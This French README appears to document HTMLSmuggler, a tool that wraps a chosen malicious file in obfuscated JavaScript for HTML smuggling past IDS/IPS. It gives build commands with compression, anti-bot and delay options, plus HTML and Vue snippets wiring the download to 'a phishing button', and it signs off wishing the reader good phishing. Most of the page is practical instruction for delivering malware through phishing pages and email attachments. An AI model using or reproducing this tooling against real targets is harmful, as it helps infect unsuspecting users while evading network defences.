
✉️ Générateur & obfuscateur de HTML Smuggling pour vos opérations Red Team
HTMLSmuggler - Générateur de payload JS pour contournement IDS et livraison de payload via HTML smuggling.
L'explication complète de ce qu'est le HTML Smuggling peut être trouvée ici.
L'objectif principal du HTML smuggling est de contourner les contrôles de sécurité réseau, tels que les pare-feu et les systèmes de détection d'intrusion, en dissimulant des charges malveillantes (exécutables/archives/etc.) dans un code HTML et JavaScript apparemment inoffensif. En exploitant la nature dynamique des applications web, les attaquants peuvent livrer du contenu malveillant au navigateur d'un utilisateur sans déclencher d'alertes de sécurité ni être détectés par les mécanismes de sécurité traditionnels. Grâce à cette technique, le téléchargement d'un fichier malveillant n'est en aucun cas affiché dans les solutions IDS modernes.
Le principal objectif de l'outil HTMLSmuggler est de créer une bibliothèque JavaScript indépendante avec une charge utile malveillante définie par l'utilisateur intégrée. Cette bibliothèque peut être intégrée dans vos sites de phishing/pièces jointes d'email HTML/etc. pour livrer la charge utile intégrée au système de l'utilisateur cible (en contournant les systèmes IDS et IPS). Un exemple de bibliothèque JavaScript créée peut être trouvé ici.
Installer les dépendances :
yarn
Lire le message d'aide.
yarn build -h
Options:
-p, --payload <string> Chemin vers le fichier de payload à smuggler
-n, --name <string> Nom du fichier qui sera téléchargé
-t, --type <string> Content-Type du fichier téléchargé (par défaut : "application/octet-stream")
-f, --function <string> Nom de la fonction exportée (par défaut : "download")
-c, --compress Activer la compression du payload (gzip)
-d, --delay <number> Délai avant l'antibot et le téléchargement en ms (par défaut : 0)
-a, --antibot Activer la détection de bots et les bloquer (recommandé)
-h, --help Afficher l'aide pour la commande
(Optionnel) Modifier les options de javascript-obfuscator dans obfuscator.js, mon préréglage est bien, mais très lent.
Compiler votre payload JavaScript :
⚠️ ÉVITEZ D'UTILISER DES PAYLOADS DE PLUS DE 3 MiB (voir FAQ)
yarn build -p /path/to/payload -n file.exe -t "application/octet-stream" -c -a -d 3000
Obtenez votre payload depuis dist/payload.esm.js ou dist/payload.umd.js. Ensuite, il peut être inséré dans votre page et appelé avec la fonction download() (ou personnalisée avec l'option -f).
payload.esm.jsest utilisé dans les importsimport { download } from 'payload.esm';(norme ECMAScript).
payload.umd.jsest utilisé dans le script HTML via SRC et les importsrequire('payload.umd');(CommonJS, AMD et HTML pur).
Un exemple complet peut être trouvé ici.
Effectuez les étapes de préparation.
Importez le script créé dans le fichier HTML (ou insérez-le en ligne) :
<head>
<script src="payload.umd.js"></script>
</head>
Appelez la fonction download() depuis le body :
<body>
<button onclick="download()">Un bouton de phishing</button>
</body>
Bon phishing :)
Un exemple complet peut être trouvé ici.
Effectuez les étapes de préparation.
Importez le script créé dans le fichier Vue :
<script>
import { download } from './payload.esm';
</script>
Appelez la fonction download() :
<template>
<button @click="download()">Un bouton de phishing</button>
</template>
Bon phishing :)
Q : J'ai une erreur RangeError: Maximum call stack size exceeded, comment la résoudre ?
R : Ce problème est décrit ici. Pour le corriger, essayez de désactiver splitStrings dans obfuscator.js ou utilisez une charge utile plus petite (il est recommandé d'utiliser des payloads jusqu'à 2 Mo à cause de ce problème).
Q : Pourquoi la construction de mon payload prend-elle autant de temps ?
R : Plus la charge utile est grosse, plus la création du fichier JS prend du temps. Pour réduire le temps de construction, essayez de désactiver splitStrings dans obfuscator.js. Ci-dessous un tableau avec les temps de construction estimés en utilisant le obfuscator.js par défaut.
| Taille du payload | Temps de construction |
|---|---|
| 525 Ko | 53 s |
| 1,25 Mo | 8 m |
| 3,59 Mo | 25 m |